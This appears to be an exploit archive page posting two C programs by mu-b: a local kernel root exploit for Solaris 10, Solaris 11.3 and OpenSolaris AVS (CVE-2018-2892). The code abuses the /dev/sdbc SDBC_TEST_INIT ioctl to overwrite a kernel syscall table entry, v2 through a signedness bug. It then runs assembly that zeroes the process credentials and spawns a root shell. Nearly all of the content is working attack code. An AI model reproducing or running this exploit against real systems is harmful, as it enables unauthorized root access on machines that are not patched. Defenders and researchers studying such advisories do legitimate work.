Twenty Year Anniversary

Sun Solaris 11.3 AVS Local Kernel Root

Sun Solaris 11.3 AVS Local Kernel Root
Posted Aug 2, 2018
Authored by mu-b

Sun Solaris versions 10 and 11.3 and below local kernel root exploit.

tags | exploit, kernel, local, root
systems | solaris
advisories | CVE-2018-2892
MD5 | e87115e82276d32408f82a68e1b2de6f

Sun Solaris 11.3 AVS Local Kernel Root

Change Mirror Download
/*
# Exploit Title: Solaris/OpenSolaris AVS kernel code execution
# Google Dork: [if applicable]
# Date: 24/7/2018
# Exploit Author: mu-b
# Vendor Homepage: oracle.com
# Software Link:
# Version: Solaris 10, Solaris <= 11.3
# Tested on: Solaris 11.X, OpenSolaris
# CVE : CVE-2018-2892

http://digit-labs.org/files/exploits/sdbc-testinit.c
http://digit-labs.org/files/exploits/sdbc-testinit-v2.c

a few more added to digit-labs as well, old irix-espd remote root for
irix as well.

/* sdbc-testinit.c
*
* Copyright (c) 2008 by <mu-b@digit-labs.org>
*
* Sun Opensolaris <= snv_104 local kernel root exploit
* by mu-b - Sun 21 Dec 2008
*
* $Id: sdbc-testinit.c 37 2018-07-23 20:08:39Z mu-b $
*
* - Tested on: Opensolaris snv_104 (i86pc)
*
* hmmm, this has gotta be test code!?%$!
*
* - Private Source Code -DO NOT DISTRIBUTE -
* http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
*/

#include <stdio.h>
#include <stdlib.h>

#include <fcntl.h>
#include <libelf.h>
#include <string.h>
#include <stropts.h>
#include <sys/elf.h>
#include <sys/mman.h>
#include <sys/param.h>
#include <sys/syscall.h>
#include <unistd.h>

#define SDBC(a) (('B'<<16)|('C'<<8)|(a))
#define SDBC_TEST_INIT SDBC(5)

typedef struct _sdbc_ioctl32_s {
unsigned int arg0;
unsigned int arg1;
unsigned int arg2;
unsigned int arg3;
unsigned int arg4;
unsigned int magic;
unsigned int ustatus;
unsigned int pad[1];
} _sdbc_ioctl32_t;

typedef struct _sysent_s {
char sy_narg;
#ifdef _LP64
unsigned short sy_flags;
#else
unsigned char sy_flags;
#endif
int (*sy_call)();
void *sy_lock;
void *sy_callc;
} _sysent_t;

#ifdef _LP64
#define KTHREAD 0x16
#else
#define KTHREAD 0x10
#endif

#define XSTRINGY(a) STRINGY(a)
#define STRINGY(a) #a

int
pown_kernel (void)
{
__asm__ ( "mov %gs:" XSTRINGY(KTHREAD) ", %eax\n"
"mov 0xdc(%eax), %eax\n"
"mov 0x14(%eax), %eax\n"
"movl $0x0, 0x4(%eax)\n"
"movl $0x0, 0xc(%eax)");
return (0);
}

static void *
resolve_kernsymbl (char *name)
{
Elf_Scn *scn = NULL;
Elf *elf;
void *r = NULL;
int fd;

fd = open ("/dev/ksyms", O_RDONLY);
if (fd < 0)
{
fprintf (stderr, "failed opening /dev/ksyms\n");
return (NULL);
}

elf_version (EV_CURRENT);

if ((elf = elf_begin (fd, ELF_C_READ, NULL)) == NULL)
{
fprintf (stderr, "elf_begin failed\n");
goto done;
}

while ((scn = elf_nextscn (elf, scn)) != 0)
{
Elf32_Shdr *shdr;

if ((shdr = elf32_getshdr (scn)) != 0)
{
if (shdr->sh_type == SHT_SYMTAB)
{
Elf_Data *data = NULL;

if ((data = elf_getdata (scn, data)) == 0 || data->d_size == 0)
continue;

Elf32_Sym *esym = (Elf32_Sym *) data->d_buf;
Elf32_Sym *lastsym = (Elf32_Sym *) ((char *) data->d_buf + data->d_size);

for (; esym < lastsym; esym++)
{
if (esym->st_value == 0 ||
(ELF32_ST_TYPE(esym->st_info) == STT_FUNC))
continue;

if (strcmp (name, elf_strptr (elf, shdr->sh_link, (size_t) esym->st_name)) == 0)
{
r = (void *) esym->st_value;
goto done;
}
}
}
}
}

done:
elf_end (elf);
close (fd);

return (r);
}

int
main (int argc, char **argv)
{
void *devarrayp, *sysentp, *ptr, *target;
_sdbc_ioctl32_t sdcp_ioctl;
_sysent_t sysent;
int devindx, fd, id, n, sysindx;

printf ("Sun Opensolaris <= snv_104 local kernel root exploit\n"
"by: <mu-b@digit-labs.org>\n"
"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

fd = open ("/dev/sdbc", O_RDONLY);
if (fd < 0)
{
fprintf (stderr, "%s: failed opening /dev/sdbc\n", argv[0]);
return (EXIT_FAILURE);
}

memset (&sysent, 0, sizeof (sysent));
sysent.sy_narg = 0;
sysent.sy_flags = 0;
sysent.sy_call = pown_kernel;
sysent.sy_lock = NULL;
sysent.sy_callc = NULL;

devarrayp = resolve_kernsymbl ("devarray");
if (devarrayp == NULL)
{
fprintf (stderr, "%s: failed resolving &devarray\n", argv[0]);
return (EXIT_FAILURE);
}

sysentp = resolve_kernsymbl ("sysent");
if (sysentp == NULL)
{
fprintf (stderr, "%s: failed resolving &sysent\n", argv[0]);
return (EXIT_FAILURE);
}

sysentp += 8; /* any ideas? */
target = sysentp + 0x2C0;
sysindx = ((int) target - (int) sysentp) / sizeof (sysent);
devindx = ((char *) target - (char *) devarrayp) / 256;

ptr = mmap (NULL, PAGESIZE, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0);
if ((int) ptr == -1)
{
fprintf (stderr, "failed mmap\n");
return (EXIT_FAILURE);
}

memset (ptr, 0, PAGESIZE);
memcpy ((ptr + PAGESIZE) - sizeof (sysent), &sysent, sizeof (sysent));

memset (&sdcp_ioctl, 0, sizeof (sdcp_ioctl));
sdcp_ioctl.arg0 = (unsigned int) (ptr + PAGESIZE) - sizeof (sysent);
sdcp_ioctl.arg1 = devindx;
sdcp_ioctl.arg2 = sizeof (sysent) * 2;

printf ("* devarray: 0x%08X, sysent: 0x%08X, target: 0x%08X\n", (int) devarrayp, (int) sysentp, (int) target);
printf ("* devarray idx: %u\n", sdcp_ioctl.arg1);
printf ("* sysent idx: %u\n", sysindx);

printf ("\n* overwriting... ");
n = ioctl (fd, SDBC_TEST_INIT, &sdcp_ioctl);
printf ("done\n");

printf ("\n* jumping... ");
syscall (sysindx);
printf ("done\n\n");

id = getuid ();
printf ("* getuid(): %d\n", id);
if (id == 0)
{
printf ("+Wh00t\n\n");

/* exec shell, for some reason execve doesn't work!?$! */
system ("/bin/bash");
}
else
fprintf (stderr, "%s: failed to obtain root :(\n", argv[0]);

return (EXIT_SUCCESS);
}
*/

/* sdbc-testinit-v2.c
*
* Copyright (c) 2008-2017 by <mu-b@digit-labs.org>
*
* Sun Solaris <= 11.3 AVS local kernel root exploit
* by mu-b - Tue 16 May 2017
*
* $Id: sdbc-testinit-v2.c 37 2018-07-23 20:08:39Z mu-b $
*
* - Tested on: Solaris 5.11 11.3 + AVS (i86pc)
* Opensolaris snv_104 + AVS (i86pc)
*
* hmmm, this has gotta be test code!?%$!
*
* This was originally found in OpenSolaris and later ported to Solaris with the
* exception that we now have to exploit a signedness bug in the devarray index
* parameter whereas previously it was unbounded! (see sdbc-testinit.c).
*
* - Private Source Code -DO NOT DISTRIBUTE -
* http://www.digit-labs.org/ -- Digit-Labs 2008-2017!@$!
*/

#include <stdio.h>
#include <stdlib.h>

#include <fcntl.h>
#include <libelf.h>
#include <limits.h>
#include <string.h>
#include <stropts.h>
#include <sys/elf.h>
#include <sys/mman.h>
#include <sys/param.h>
#include <sys/syscall.h>
#include <unistd.h>

#define SDBC(a) (('B'<<16)|('C'<<8)|(a))
#define SDBC_TEST_INIT SDBC(5)

typedef struct _sdbc_ioctl {
long arg0;
long arg1;
long arg2;
long arg3;
long arg4;
long magic;
long ustatus;
long pad[1];
} _sdbc_ioctl_t;

typedef struct _sysent_s {
char sy_narg;
#ifdef _LP64
unsigned short sy_flags;
#else
unsigned char sy_flags;
#endif
int (*sy_call)();
void *sy_lock;
void *sy_callc;
} _sysent_t;

#ifdef _LP64
# define KTHREAD 0x18
#else
# define KTHREAD 0x10
#endif

#define XSTRINGY(a) STRINGY(a)
#define STRINGY(a) #a

int
pown_kernel (void)
{
#ifdef _LP64
__asm__ ( "mov %gs:" XSTRINGY(KTHREAD) ", %rax\n"
"mov 0x1c8(%rax), %rax\n"
"movl $0x0, 0x4(%rax)\n" /* kthread_t->t_cred->cr_uid */
"movl $0x0, 0x8(%rax)\n" /* kthread_t->t_cred->cr_gid */
"movl $0x0, 0xc(%rax)\n" /* kthread_t->t_cred->cr_ruid */
"movl $0x0, 0x10(%rax)"); /* kthread_t->t_cred->cr_rgid */
#else
__asm__ ( "mov %gs:" XSTRINGY(KTHREAD) ", %eax\n"
"mov 0xdc(%eax), %eax\n"
"mov 0x14(%eax), %eax\n"
"movl $0x0, 0x4(%eax)\n"
"movl $0x0, 0x8(%eax)\n"
"movl $0x0, 0xc(%eax)\n"
"movl $0x0, 0x10(%eax)");
#endif
return (0);
}

static void *
resolve_kernsymbl (char *name)
{
Elf_Scn *scn = NULL;
Elf *elf;
void *r = NULL;
int fd;

fd = open ("/dev/ksyms", O_RDONLY);
if (fd < 0)
{
fprintf (stderr, "failed opening /dev/ksyms\n");
return (NULL);
}

elf_version (EV_CURRENT);

if ((elf = elf_begin (fd, ELF_C_READ, NULL)) == NULL)
{
fprintf (stderr, "elf_begin failed\n");
goto done;
}

while ((scn = elf_nextscn (elf, scn)) != 0)
{
#ifdef _LP64
Elf64_Shdr *shdr;
if ((shdr = elf64_getshdr (scn)) != 0)
#else
Elf32_Shdr *shdr;
if ((shdr = elf32_getshdr (scn)) != 0)
#endif
{
if (shdr->sh_type == SHT_SYMTAB)
{
Elf_Data *data = NULL;

if ((data = elf_getdata (scn, data)) == 0 || data->d_size == 0)
continue;

#ifdef _LP64
Elf64_Sym *esym = (Elf64_Sym *) data->d_buf;
Elf64_Sym *lastsym = (Elf64_Sym *) ((char *) data->d_buf + data->d_size);
#else
Elf32_Sym *esym = (Elf32_Sym *) data->d_buf;
Elf32_Sym *lastsym = (Elf32_Sym *) ((char *) data->d_buf + data->d_size);
#endif

for (; esym < lastsym; esym++)
{
if (esym->st_value == 0 ||
#ifdef _LP64
(ELF64_ST_TYPE(esym->st_info) == STT_FUNC))
#else
(ELF32_ST_TYPE(esym->st_info) == STT_FUNC))
#endif
continue;

if (strcmp (name, elf_strptr (elf, shdr->sh_link, (size_t) esym->st_name)) == 0)
{
r = (void *) esym->st_value;
goto done;
}
}
}
}
}

done:
elf_end (elf);
close (fd);

return (r);
}

int
main (int argc, char **argv)
{
void *devarrayp, *sysentp, *ptr, *targetp;
int align, fd, id, n, sysindx;
_sdbc_ioctl_t sdbc_ioctl;
_sysent_t sysent;
long devindx;

printf ("Sun (Open)Solaris <= 11.3 AVS local kernel root exploit\n"
"by: <mu-b@digit-labs.org>\n"
"http://www.digit-labs.org/ -- Digit-Labs 2008-2017!@$!\n\n");

fd = open ("/dev/sdbc", O_RDONLY);
if (fd < 0)
{
fprintf (stderr, "%s: failed opening /dev/sdbc\n", argv[0]);
return (EXIT_FAILURE);
}

memset (&sysent, 0, sizeof (sysent));
sysent.sy_narg = 0;
sysent.sy_flags = 0;
sysent.sy_call = pown_kernel;
sysent.sy_lock = pown_kernel;
sysent.sy_callc = pown_kernel;

devarrayp = resolve_kernsymbl ("devarray");
if (devarrayp == NULL)
{
fprintf (stderr, "%s: failed resolving &devarray\n", argv[0]);
return (EXIT_FAILURE);
}

sysentp = resolve_kernsymbl ("sysent");
if (sysentp == NULL)
{
fprintf (stderr, "%s: failed resolving &sysent\n", argv[0]);
return (EXIT_FAILURE);
}

/* devarray elements are 256-bytes in size, so we can only write at an offset
* aligned to devarrayp & 0xff */
targetp = (void *) (((long) sysentp & ~0xFF) | ((long) devarrayp & 0xFF));
targetp += 0x1700;
sysindx = ((long) targetp - (long) sysentp) / sizeof (sysent);
devindx = ((char *) targetp - (char *) devarrayp) / 256;
devindx = (long) LONG_MIN + devindx;

ptr = mmap (NULL, PAGESIZE, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0);
if (ptr == (void *) -1)
{
fprintf (stderr, "failed mmap\n");
return (EXIT_FAILURE);
}

memset (ptr, 0, PAGESIZE);

align = ((long) sysentp & 0x0F) - ((long) devarrayp & 0x0F);
if (align < 0)
align = -align;
memcpy ((ptr + PAGESIZE) - sizeof (sysent) - align, &sysent, sizeof (sysent));

memset (&sdbc_ioctl, 0, sizeof (sdbc_ioctl));
sdbc_ioctl.arg0 = (long) (ptr + PAGESIZE) - sizeof (sysent);
sdbc_ioctl.arg1 = devindx;
sdbc_ioctl.arg2 = sizeof (sysent) * 2;
#ifdef _LP64
printf ("* devarray: 0x%016lX, sysent: 0x%016lX, target: 0x%016lX\n", (long) devarrayp, (long) sysentp, (long) targetp);
printf ("* devarray idx: %ld %016lX\n", devindx, devindx);
#else
printf ("* devarray: 0x%08lX, sysent: 0x%08lX, target: 0x%08lX\n", (long) devarrayp, (long) sysentp, (long) targetp);
printf ("* devarray idx: %ld %08lX\n", devindx, devindx);
#endif
printf ("* sysent idx: %u\n", sysindx);

printf ("\n* overwriting... ");
n = ioctl (fd, SDBC_TEST_INIT, &sdbc_ioctl);
if (n != -1)
{
printf ("failed, ouch (%d)\n", n);
return (EXIT_FAILURE);
}
printf ("done\n");

printf ("* jumping... ");
syscall (sysindx);
printf ("done\n");

id = getuid ();
printf ("* getuid(): %d\n", id);
if (id == 0)
{
char *args[2] = { "/bin/sh", NULL };
printf ("+Wh00t\n\n");

execve (args[0], args, NULL);
}
else
fprintf (stderr, "%s: failed to obtain root :(\n", argv[0]);

return (EXIT_SUCCESS);
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

December 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    11 Files
  • 2
    Dec 2nd
    1 Files
  • 3
    Dec 3rd
    18 Files
  • 4
    Dec 4th
    40 Files
  • 5
    Dec 5th
    16 Files
  • 6
    Dec 6th
    50 Files
  • 7
    Dec 7th
    12 Files
  • 8
    Dec 8th
    1 Files
  • 9
    Dec 9th
    1 Files
  • 10
    Dec 10th
    15 Files
  • 11
    Dec 11th
    30 Files
  • 12
    Dec 12th
    25 Files
  • 13
    Dec 13th
    15 Files
  • 14
    Dec 14th
    14 Files
  • 15
    Dec 15th
    2 Files
  • 16
    Dec 16th
    3 Files
  • 17
    Dec 17th
    15 Files
  • 18
    Dec 18th
    1 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close